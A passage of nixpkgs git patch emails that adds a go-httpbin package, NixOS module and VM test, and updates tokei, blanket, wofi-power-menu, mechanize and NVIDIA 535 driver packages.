     # Add feature flags needed for features not yet stabilised in rustc stable
     ./0002-add-feature-flags.diff
-    # The select_predictable function has been moved from std::bool to std::hint before it has been stabilized.
-    # This move isn't present in rustc 1.87, but upstream is using nightly so they have already updated their code.
-    # This patch changes the code to use the function on std::bool instead.
-    # See https://github.com/rust-lang/rust/pull/139726
-    ./0003-select_unpredictable-on-bool.diff
   ];
 
   buildInputs = lib.optionals (useSystemJemalloc) [

From d1d0036409429e680772632b1ed3edd7353dfca3 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 23 Jul 2025 11:52:59 +0200
Subject: [PATCH 2994/4511] go-httpbin: init at 2.18.3

(cherry picked from commit cf113828ccb314c219dd67969de28114c68c1769)
---
 pkgs/by-name/go/go-httpbin/package.nix | 48 ++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)
 create mode 100644 pkgs/by-name/go/go-httpbin/package.nix

diff --git a/pkgs/by-name/go/go-httpbin/package.nix b/pkgs/by-name/go/go-httpbin/package.nix
new file mode 100644
index 000000000000..752c5b0a643e
--- /dev/null
+++ b/pkgs/by-name/go/go-httpbin/package.nix
@@ -0,0 +1,48 @@
+{
+  lib,
+  buildGoModule,
+  fetchFromGitHub,
+  nix-update-script,
+}:
+
+buildGoModule (finalAttrs: {
+  pname = "go-httpbin";
+  version = "2.18.3";
+
+  src = fetchFromGitHub {
+    owner = "mccutchen";
+    repo = "go-httpbin";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-ixEbmppQ+4Udc5ytV4YPOpOT/iEbhjQIYGoOGL0dIw8=";
+  };
+
+  vendorHash = null;
+
+  env.CGO_ENABLED = 0;
+
+  ldflags = [
+    "-s"
+    "-w"
+  ];
+
+  # tests are flaky
+  doCheck = false;
+
+  doInstallCheck = true;
+  installCheckPhase = ''
+    runHook preInstallCheck
+    $out/bin/go-httpbin --help &> /dev/null
+    runHook postInstallCheck
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Reasonably complete and well-tested golang port of httpbin, with zero dependencies outside the go stdlib";
+    homepage = "https://github.com/mccutchen/go-httpbin";
+    changelog = "https://github.com/mccutchen/go-httpbin/releases/tag/v${finalAttrs.version}";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ defelo ];
+    mainProgram = "go-httpbin";
+  };
+})

From 17847f675ac0557173b9721ca2576cc1ef7d6e91 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 23 Jul 2025 12:17:58 +0200
Subject: [PATCH 2995/4511] nixos/go-httpbin: init module

(cherry picked from commit 224dc30d39666971172f070541145ac865e35e89)
---
 .../manual/release-notes/rl-2511.section.md   |   2 +
 nixos/modules/module-list.nix                 |   1 +
 .../modules/services/web-apps/go-httpbin.nix  | 111 ++++++++++++++++++
 3 files changed, 114 insertions(+)
 create mode 100644 nixos/modules/services/web-apps/go-httpbin.nix

diff --git a/nixos/doc/manual/release-notes/rl-2511.section.md b/nixos/doc/manual/release-notes/rl-2511.section.md
index 2b0580a37379..d165ee28f195 100644
--- a/nixos/doc/manual/release-notes/rl-2511.section.md
+++ b/nixos/doc/manual/release-notes/rl-2511.section.md
@@ -14,6 +14,8 @@
 - [Chrysalis](https://github.com/keyboardio/Chrysalis), a graphical configurator for Kaleidoscope-powered keyboards. Available as [programs.chrysalis](#opt-programs.chrysalis.enable).
 - [Chhoto URL](https://github.com/SinTan1729/chhoto-url), a simple, blazingly fast, selfhosted URL shortener with no unnecessary features, written in Rust. Available as [services.chhoto-url](#opt-services.chhoto-url.enable).
 
+- [go-httpbin](https://github.com/mccutchen/go-httpbin), a reasonably complete and well-tested golang port of httpbin, with zero dependencies outside the go stdlib. Available as [services.go-httpbin](#opt-services.go-httpbin.enable).
+
 ## Backward Incompatibilities {#sec-release-25.11-incompatibilities}
 
 <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. -->
diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix
index be174b9e453d..2ee30328579c 100644
--- a/nixos/modules/module-list.nix
+++ b/nixos/modules/module-list.nix
@@ -1554,6 +1554,7 @@
   ./services/web-apps/gerrit.nix
   ./services/web-apps/glance.nix
   ./services/web-apps/glitchtip.nix
+  ./services/web-apps/go-httpbin.nix
   ./services/web-apps/goatcounter.nix
   ./services/web-apps/gotify-server.nix
   ./services/web-apps/gotosocial.nix
diff --git a/nixos/modules/services/web-apps/go-httpbin.nix b/nixos/modules/services/web-apps/go-httpbin.nix
new file mode 100644
index 000000000000..f751b93244ef
--- /dev/null
+++ b/nixos/modules/services/web-apps/go-httpbin.nix
@@ -0,0 +1,111 @@
+{
+  config,
+  lib,
+  pkgs,
+  ...
+}:
+
+let
+  cfg = config.services.go-httpbin;
+
+  environment = lib.mapAttrs (
+    _: value: if lib.isBool value then lib.boolToString value else toString value
+  ) cfg.settings;
+in
+
+{
+  meta.maintainers = with lib.maintainers; [ defelo ];
+
+  options.services.go-httpbin = {
+    enable = lib.mkEnableOption "go-httpbin";
+
+    package = lib.mkPackageOption pkgs "go-httpbin" { };
+
+    settings = lib.mkOption {
+      description = ''
+        Configuration of go-httpbin.
+        See <https://github.com/mccutchen/go-httpbin#configuration> for a list of options.
+      '';
+      example = {
+        HOST = "0.0.0.0";
+        PORT = 8080;
+      };
+
+      type = lib.types.submodule {
+        freeformType =
+          with lib.types;
+          attrsOf (oneOf [
+            str
+            int
+            bool
+          ]);
+
+        options = {
+          HOST = lib.mkOption {
+            type = lib.types.str;
+            description = "The host to listen on.";
+            default = "127.0.0.1";
+            example = "0.0.0.0";
+          };
+
+          PORT = lib.mkOption {
+            type = lib.types.port;
+            description = "The port to listen on.";
+            example = 8080;
+          };
+        };
+      };
+    };
+  };
+
+  config = lib.mkIf cfg.enable {
+    systemd.services.go-httpbin = {
+      wantedBy = [ "multi-user.target" ];
+
+      inherit environment;
+
+      serviceConfig = {
+        User = "go-httpbin";
+        Group = "go-httpbin";
+        DynamicUser = true;
+
+        ExecStart = lib.getExe cfg.package;
+
+        # hardening
+        AmbientCapabilities = "";
+        CapabilityBoundingSet = [ "" ];
+        DevicePolicy = "closed";
+        LockPersonality = true;
+        MemoryDenyWriteExecute = true;
+        NoNewPrivileges = true;
+        PrivateDevices = true;
+        PrivateTmp = true;
+        PrivateUsers = true;
+        ProcSubset = "pid";
+        ProtectClock = true;
+        ProtectControlGroups = true;
+        ProtectHome = true;
+        ProtectHostname = true;
+        ProtectKernelLogs = true;
+        ProtectKernelModules = true;
+        ProtectKernelTunables = true;
+        ProtectProc = "invisible";
+        ProtectSystem = "strict";
+        RemoveIPC = true;
+        RestrictAddressFamilies = [ "AF_INET AF_INET6" ];
+        RestrictNamespaces = true;
+        RestrictRealtime = true;
+        RestrictSUIDSGID = true;
+        SocketBindAllow = "tcp:${toString cfg.settings.PORT}";
+        SocketBindDeny = "any";
+        SystemCallArchitectures = "native";
+        SystemCallFilter = [
+          "@system-service"
+          "~@privileged"
+          "~@resources"
+        ];
+        UMask = "0077";
+      };
+    };
+  };
+}

From b6639d9b3ea548d66cc87f5a9dca4fd89f5cfe6f Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 23 Jul 2025 12:24:19 +0200
Subject: [PATCH 2996/4511] nixos/tests/go-httpbin: init

(cherry picked from commit e1b8c6c49379913cf22cbcabd9a0d0dade2cfa03)
---
 nixos/tests/all-tests.nix              |  1 +
 nixos/tests/go-httpbin.nix             | 38 ++++++++++++++++++++++++++
 pkgs/by-name/go/go-httpbin/package.nix |  6 +++-
 3 files changed, 44 insertions(+), 1 deletion(-)
 create mode 100644 nixos/tests/go-httpbin.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index 9de59578a675..5b1e2ed9f81c 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -568,6 +568,7 @@ in
   gnupg = handleTest ./gnupg.nix { };
   goatcounter = handleTest ./goatcounter.nix { };
   go-camo = handleTest ./go-camo.nix { };
+  go-httpbin = runTest ./go-httpbin.nix;
   go-neb = runTest ./go-neb.nix;
   gobgpd = handleTest ./gobgpd.nix { };
   gocd-agent = handleTest ./gocd-agent.nix { };
diff --git a/nixos/tests/go-httpbin.nix b/nixos/tests/go-httpbin.nix
new file mode 100644
index 000000000000..318fd8886c58
--- /dev/null
+++ b/nixos/tests/go-httpbin.nix
@@ -0,0 +1,38 @@
+{ lib, ... }:
+
+{
+  name = "go-httpbin";
+  meta.maintainers = with lib.maintainers; [ defelo ];
+
+  nodes.machine = {
+    services.go-httpbin = {
+      enable = true;
+      settings.PORT = 8000;
+    };
+  };
+
+  interactive.nodes.machine = {
+    services.go-httpbin.settings.HOST = "0.0.0.0";
+    networking.firewall.allowedTCPPorts = [ 8000 ];
+    virtualisation.forwardPorts = [
+      {
+        from = "host";
+        host.port = 8000;
+        guest.port = 8000;
+      }
+    ];
+  };
+
+  testScript = ''
+    import json
+
+    machine.wait_for_unit("go-httpbin.service")
+    machine.wait_for_open_port(8000)
+
+    resp = json.loads(machine.succeed("curl localhost:8000/get?foo=bar"))
+    assert resp["args"]["foo"] == ["bar"]
+    assert resp["method"] == "GET"
+    assert resp["origin"] == "127.0.0.1"
+    assert resp["url"] == "http://localhost:8000/get?foo=bar"
+  '';
+}
diff --git a/pkgs/by-name/go/go-httpbin/package.nix b/pkgs/by-name/go/go-httpbin/package.nix
index 752c5b0a643e..9a77b98f4619 100644
--- a/pkgs/by-name/go/go-httpbin/package.nix
+++ b/pkgs/by-name/go/go-httpbin/package.nix
@@ -2,6 +2,7 @@
   lib,
   buildGoModule,
   fetchFromGitHub,
+  nixosTests,
   nix-update-script,
 }:
 
@@ -35,7 +36,10 @@ buildGoModule (finalAttrs: {
     runHook postInstallCheck
   '';
 
-  passthru.updateScript = nix-update-script { };
+  passthru = {
+    tests = { inherit (nixosTests) go-httpbin; };
+    updateScript = nix-update-script { };
+  };
 
   meta = {
     description = "Reasonably complete and well-tested golang port of httpbin, with zero dependencies outside the go stdlib";

From 7e5c9f4fda4f47daebe0e47c5fca027dd6a90cf9 Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Mon, 28 Jul 2025 08:30:31 +0200
Subject: [PATCH 2997/4511] blanket: 0.7.0 -> 0.8.0

(cherry picked from commit b3e47fdddbd20047eff317ceb28ec456d7f4c709)
---
 pkgs/by-name/bl/blanket/package.nix | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/bl/blanket/package.nix b/pkgs/by-name/bl/blanket/package.nix
index e83a89c6e3d5..a81239eb5f10 100644
--- a/pkgs/by-name/bl/blanket/package.nix
+++ b/pkgs/by-name/bl/blanket/package.nix
@@ -18,13 +18,13 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "blanket";
-  version = "0.7.0";
+  version = "0.8.0";
 
   src = fetchFromGitHub {
     owner = "rafaelmardojai";
     repo = "blanket";
-    rev = version;
-    hash = "sha256-mY7c5i0me7mMbD8c6eGJeaZpR8XI5QVL4n3M+j15Z1c=";
+    tag = version;
+    hash = "sha256-LnHL/1DJXiKx9U+JkT4Wjx1vtTmKLpzZ8q6uLT5a2MY=";
   };
 
   nativeBuildInputs = [
@@ -49,13 +49,7 @@ python3Packages.buildPythonApplication rec {
 
   propagatedBuildInputs = with python3Packages; [ pygobject3 ];
 
-  format = "other";
-
-  postPatch = ''
-    patchShebangs build-aux/meson/postinstall.py
-    substituteInPlace build-aux/meson/postinstall.py \
-      --replace-fail gtk-update-icon-cache gtk4-update-icon-cache
-  '';
+  pyproject = false;
 
   dontWrapGApps = true;
 
@@ -69,6 +63,7 @@ python3Packages.buildPythonApplication rec {
 
   meta = {
     description = "Listen to different sounds";
+    changelog = "https://github.com/rafaelmardojai/blanket/releases/tag/${version}";
     homepage = "https://github.com/rafaelmardojai/blanket";
     license = lib.licenses.gpl3Plus;
     mainProgram = "blanket";

From b3095e2b4edbde368b5eb319f11fcbcdf4c19f7f Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:19:17 +0200
Subject: [PATCH 2998/4511] tokei: don't use pname in src

(cherry picked from commit 598138a191db76f50a98635e68f7722b03fd2718)
---
 pkgs/by-name/to/tokei/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index a19d2761feae..8c2c14f721cf 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -14,7 +14,7 @@ rustPlatform.buildRustPackage rec {
 
   src = fetchFromGitHub {
     owner = "XAMPPRocky";
-    repo = pname;
+    repo = "tokei";
     rev = "v${version}";
     sha256 = "sha256-jCI9VM3y76RI65E5UGuAPuPkDRTMyi+ydx64JWHcGfE=";
   };

From 88f425806e71c9f60f021e3be3c33ff89f712433 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:18:38 +0200
Subject: [PATCH 2999/4511] tokei: use finalAttrs pattern

(cherry picked from commit f7057320c7d4825436d7248d5317fdf6763bb663)
---
 pkgs/by-name/to/tokei/package.nix | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index 8c2c14f721cf..ef97380ff7b5 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -8,14 +8,14 @@
   zlib,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "tokei";
   version = "13.0.0-alpha.8";
 
   src = fetchFromGitHub {
     owner = "XAMPPRocky";
     repo = "tokei";
-    rev = "v${version}";
+    rev = "v${finalAttrs.version}";
     sha256 = "sha256-jCI9VM3y76RI65E5UGuAPuPkDRTMyi+ydx64JWHcGfE=";
   };
 
@@ -30,9 +30,7 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-LzlyrKaRjUo6JnVLQnHidtI4OWa+GrhAc4D8RkL+nmQ=";
 
-  buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
-    libiconv
-  ];
+  buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   checkInputs = lib.optionals stdenv.hostPlatform.isDarwin [ zlib ];
 
@@ -52,4 +50,4 @@ rustPlatform.buildRustPackage rec {
     maintainers = with maintainers; [ ];
     mainProgram = "tokei";
   };
-}
+})

From 00662008028b7a1d7a44156296aadeb7f1d01d40 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:21:40 +0200
Subject: [PATCH 3000/4511] tokei: use tag and hash in fetchFromGitHub

(cherry picked from commit a83df17a078ca97b2ca8d9785aab9418e278b450)
---
 pkgs/by-name/to/tokei/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index ef97380ff7b5..95034b217d0a 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -15,8 +15,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   src = fetchFromGitHub {
     owner = "XAMPPRocky";
     repo = "tokei";
-    rev = "v${finalAttrs.version}";
-    sha256 = "sha256-jCI9VM3y76RI65E5UGuAPuPkDRTMyi+ydx64JWHcGfE=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-jCI9VM3y76RI65E5UGuAPuPkDRTMyi+ydx64JWHcGfE=";
   };
 
   patches = [

From 5577c667c7d753cb70bff2540412b219e55a572b Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:23:26 +0200
Subject: [PATCH 3001/4511] tokei: remove `with lib;`

(cherry picked from commit 5d6cb0e410b21605f48bdacd63976d3325b10830)
---
 pkgs/by-name/to/tokei/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index 95034b217d0a..3628ae573769 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -37,17 +37,17 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # enable all output formats
   buildFeatures = [ "all" ];
 
-  meta = with lib; {
+  meta = {
     description = "Program that allows you to count your code, quickly";
     longDescription = ''
       Tokei is a program that displays statistics about your code. Tokei will show number of files, total lines within those files and code, comments, and blanks grouped by language.
     '';
     homepage = "https://github.com/XAMPPRocky/tokei";
-    license = with licenses; [
+    license = with lib.licenses; [
       asl20 # or
       mit
     ];
-    maintainers = with maintainers; [ ];
+    maintainers = with lib.maintainers; [ ];
     mainProgram = "tokei";
   };
 })

From 80ccef9a0d1e42abbba0276a4faa692ea68ebfc8 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:26:20 +0200
Subject: [PATCH 3002/4511] tokei: improve meta.description

(cherry picked from commit 09c5bb16d8c34bfe3f84dbab7f02c04825adcbeb)
---
 pkgs/by-name/to/tokei/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index 3628ae573769..c748ab0c3972 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -38,9 +38,9 @@ rustPlatform.buildRustPackage (finalAttrs: {
   buildFeatures = [ "all" ];
 
   meta = {
-    description = "Program that allows you to count your code, quickly";
+    description = "Count your code, quickly";
     longDescription = ''
-      Tokei is a program that displays statistics about your code. Tokei will show number of files, total lines within those files and code, comments, and blanks grouped by language.
+      Tokei is a program that displays statistics about your code. Tokei will show the number of files, total lines within those files and code, comments, and blanks grouped by language.
     '';
     homepage = "https://github.com/XAMPPRocky/tokei";
     license = with lib.licenses; [

From 92b16a82c89d1dc979ec801598ac76aff79d4e2c Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:28:38 +0200
Subject: [PATCH 3003/4511] tokei: add meta.changelog

(cherry picked from commit dee1607ccced1e05fe9c3121e1893832e4c09667)
---
 pkgs/by-name/to/tokei/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index c748ab0c3972..c821542ac132 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -43,6 +43,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       Tokei is a program that displays statistics about your code. Tokei will show the number of files, total lines within those files and code, comments, and blanks grouped by language.
     '';
     homepage = "https://github.com/XAMPPRocky/tokei";
+    changelog = "https://github.com/XAMPPRocky/tokei/blob/v${finalAttrs.version}/CHANGELOG.md";
     license = with lib.licenses; [
       asl20 # or
       mit

From 85bb4e931f645f611ff27f2ef626af803e357acb Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:34:21 +0200
Subject: [PATCH 3004/4511] tokei: add versionCheckHook

(cherry picked from commit ec4ef6302c05ce4b5240fe657aade79f56c911a3)
---
 pkgs/by-name/to/tokei/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index c821542ac132..d6556bde3efa 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -6,6 +6,7 @@
   fetchpatch2,
   libiconv,
   zlib,
+  versionCheckHook,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -37,6 +38,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # enable all output formats
   buildFeatures = [ "all" ];
 
+  nativeInstallCheckInputs = [ versionCheckHook ];
+  versionCheckProgramArg = "--version";
+  doInstallCheck = true;
+
   meta = {
     description = "Count your code, quickly";
     longDescription = ''

From f9d9343c879f21e5413f593ff4f8059ecc6cafc3 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:36:53 +0200
Subject: [PATCH 3005/4511] tokei: add nix-update-script

(cherry picked from commit 732bec3fe4cde6d1702227e029f6c143f3e11add)
---
 pkgs/by-name/to/tokei/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index d6556bde3efa..e98d62f1f44f 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -7,6 +7,7 @@
   libiconv,
   zlib,
   versionCheckHook,
+  nix-update-script,
 }:
 
 rustPlatform.buildRustPackage (finalAttrs: {
@@ -42,6 +43,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   versionCheckProgramArg = "--version";
   doInstallCheck = true;
 
+  passthru.updateScript = nix-update-script { extraArgs = [ "--version=unstable" ]; };
+
   meta = {
     description = "Count your code, quickly";
     longDescription = ''

From 350b3744876fa15d5390dcfcebd144a231692b4f Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Thu, 22 May 2025 23:22:53 +0200
Subject: [PATCH 3006/4511] tokei: add defelo as maintainer

(cherry picked from commit d29618c87379d75ade9d62e7c111a1d2b76e5510)
---
 pkgs/by-name/to/tokei/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index e98d62f1f44f..9cd87b16ac26 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -56,7 +56,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
       asl20 # or
       mit
     ];
-    maintainers = with lib.maintainers; [ ];
+    maintainers = with lib.maintainers; [ defelo ];
     mainProgram = "tokei";
   };
 })

From cfcba627b6ed82dc8f255292213d2d8dc415decc Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 28 Jul 2025 14:11:03 +0000
Subject: [PATCH 3007/4511] tokei: 13.0.0-alpha.8 -> 13.0.0-alpha.9

Changelog: https://github.com/XAMPPRocky/tokei/blob/v13.0.0-alpha.9/CHANGELOG.md
Diff: https://github.com/XAMPPRocky/tokei/compare/v13.0.0-alpha.8...v13.0.0-alpha.9

(cherry picked from commit d70497532e84c469d0a74a50691e5bcb76209b73)
---
 pkgs/by-name/to/tokei/package.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/to/tokei/package.nix b/pkgs/by-name/to/tokei/package.nix
index 9cd87b16ac26..dc6d97745131 100644
--- a/pkgs/by-name/to/tokei/package.nix
+++ b/pkgs/by-name/to/tokei/package.nix
@@ -12,13 +12,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "tokei";
-  version = "13.0.0-alpha.8";
+  version = "13.0.0-alpha.9";
 
   src = fetchFromGitHub {
     owner = "XAMPPRocky";
     repo = "tokei";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-jCI9VM3y76RI65E5UGuAPuPkDRTMyi+ydx64JWHcGfE=";
+    hash = "sha256-OSIJYSUwc8SvszEOMgt+d/ljCW2jtBkPw6buof4JpUc=";
   };
 
   patches = [
@@ -29,8 +29,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     })
   ];
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-LzlyrKaRjUo6JnVLQnHidtI4OWa+GrhAc4D8RkL+nmQ=";
+  cargoHash = "sha256-FIT+c2YzGxJEvLB5uqkdVLWkQ/wlrbCrAkSQEoS4kJw=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 

From fdfedd21bfa00fc1c159b3e8aa807520f5208ada Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabi=C3=A1n=20Heredia=20Montiel?= <fabianhjr@protonmail.com>
Date: Thu, 12 Jun 2025 18:07:10 -0600
Subject: [PATCH 3008/4511] python3Packages.mechanize: add patch for python
 3.13

Hydra Failure: https://hydra.nixos.org/build/299849713
Ref: https://github.com/python-mechanize/mechanize/pull/102

(cherry picked from commit 3eead8e782add3f11e9469ac370cd96b904c5dbb)
---
 pkgs/development/python-modules/mechanize/default.nix | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/pkgs/development/python-modules/mechanize/default.nix b/pkgs/development/python-modules/mechanize/default.nix
index 97fa01697e49..ae9aca2c360a 100644
--- a/pkgs/development/python-modules/mechanize/default.nix
+++ b/pkgs/development/python-modules/mechanize/default.nix
@@ -1,6 +1,7 @@
 {
   lib,
   buildPythonPackage,
+  fetchpatch,
   fetchPypi,
   html5lib,
   pytestCheckHook,
@@ -20,6 +21,14 @@ buildPythonPackage rec {
     hash = "sha256-HeqUf5vn6gq2EPe7xKTja0XWv9/O6imtPTiaiKGVfd8=";
   };
 
+  patches = [
+    (fetchpatch {
+      name = "fix-cookietests-python3.13.patch";
+      url = "https://github.com/python-mechanize/mechanize/commit/0c1cd4b65697dee4e4192902c9a2965d94700502.patch";
+      hash = "sha256-Xlx8ZwHkFbJqeWs+/fllYZt3CZRu9rD8bMHHPuUlRv4=";
+    })
+  ];
+
   build-system = [ setuptools ];
 
   dependencies = [ html5lib ];

From 04e4bcd5da34e8c06abb8912184d3815d20bd990 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 28 Jul 2025 14:11:21 +0000
Subject: [PATCH 3009/4511] wofi-power-menu: 0.2.9 -> 0.3.0

Changelog: https://github.com/szaffarano/wofi-power-menu/releases/tag/v0.3.0
Diff: https://github.com/szaffarano/wofi-power-menu/compare/v0.2.9...v0.3.0

(cherry picked from commit 771735756d08c29f665450b29bd70775987c2ca7)
---
 pkgs/by-name/wo/wofi-power-menu/package.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/wo/wofi-power-menu/package.nix b/pkgs/by-name/wo/wofi-power-menu/package.nix
index 19b9163cb1bc..da3c7ba5791c 100644
--- a/pkgs/by-name/wo/wofi-power-menu/package.nix
+++ b/pkgs/by-name/wo/wofi-power-menu/package.nix
@@ -10,17 +10,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "wofi-power-menu";
-  version = "0.2.9";
+  version = "0.3.0";
 
   src = fetchFromGitHub {
     owner = "szaffarano";
     repo = "wofi-power-menu";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-xio/Gt37PJ/0Di22na4USmfah2GV+xM2eV4NnGBeVfY=";
+    hash = "sha256-/MoMgOrpM0KHIyxqOJmC5N5NddOVVfTs5fDt1/yiBtQ=";
   };
 
-  useFetchCargoVendor = true;
-  cargoHash = "sha256-diDLKP7JGzrXgdZMwSmg70dbFlMLLWp4Ad/ejjiOSlc=";
+  cargoHash = "sha256-PWPMBYmB1lyCJFhodNSCicYJy29vEUx6k9ScQTPbZdg=";
 
   nativeBuildInputs = [ makeWrapper ];
 

From ea66f28dbcc57c32431412eef611d7ff5b576ecf Mon Sep 17 00:00:00 2001
From: Kiskae <Kiskae@users.noreply.github.com>
Date: Tue, 29 Jul 2025 21:01:39 +0200
Subject: [PATCH 3010/4511] linuxPackages.nvidiaPackages.(legacy/dc)_353:
 update to 535.261.03

Fixes CVE-2025-23286
---
 pkgs/os-specific/linux/nvidia-x11/default.nix | 22 +++++++++----------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/pkgs/os-specific/linux/nvidia-x11/default.nix b/pkgs/os-specific/linux/nvidia-x11/default.nix
index e34a19073b68..19e411108751 100644
--- a/pkgs/os-specific/linux/nvidia-x11/default.nix
+++ b/pkgs/os-specific/linux/nvidia-x11/default.nix
@@ -125,16 +125,14 @@ rec {
   dc = dc_565;
 
   dc_535 = generic rec {
-    version = "535.154.05";
+    version = "535.261.03";
     url = "https://us.download.nvidia.com/tesla/${version}/NVIDIA-Linux-x86_64-${version}.run";
-    sha256_64bit = "sha256-fpUGXKprgt6SYRDxSCemGXLrEsIA6GOinp+0eGbqqJg=";
-    persistencedSha256 = "sha256-d0Q3Lk80JqkS1B54Mahu2yY/WocOqFFbZVBh+ToGhaE=";
-    fabricmanagerSha256 = "sha256-/HQfV7YA3MYVmre/sz897PF6tc6MaMiS/h7Q10m2p/o=";
+    sha256_64bit = "sha256-10th0R6cm5BS9AQtbsRDfxPR3vMOlk4jLUfl1lnRHWg=";
+    persistencedSha256 = "sha256-pnOq9+6l3BbIEKHboGeTwEcEcYhtESzmroUfCahqn0U=";
+    fabricmanagerSha256 = "sha256-+4P91JQ5pznAenCk/vW5pg897yKnih/oFcYxrAJMzLc=";
     useSettings = false;
     usePersistenced = true;
     useFabricmanager = true;
-
-    patches = [ rcu_patch ];
   };
 
   dc_565 = generic rec {
@@ -155,12 +153,12 @@ rec {
   # Last one without the bug reported here:
   # https://bbs.archlinux.org/viewtopic.php?pid=2155426#p2155426
   legacy_535 = generic {
-    version = "535.216.01";
-    sha256_64bit = "sha256-Xd6hFHgQAS4zlnwxgTQbzWYkvT1lTGP4Rd+DO07Oavc=";
-    sha256_aarch64 = "sha256-SGmuA0W1iSsqUK7VZsgibT4HgT0RkKpGb+ul6eIbM7k=";
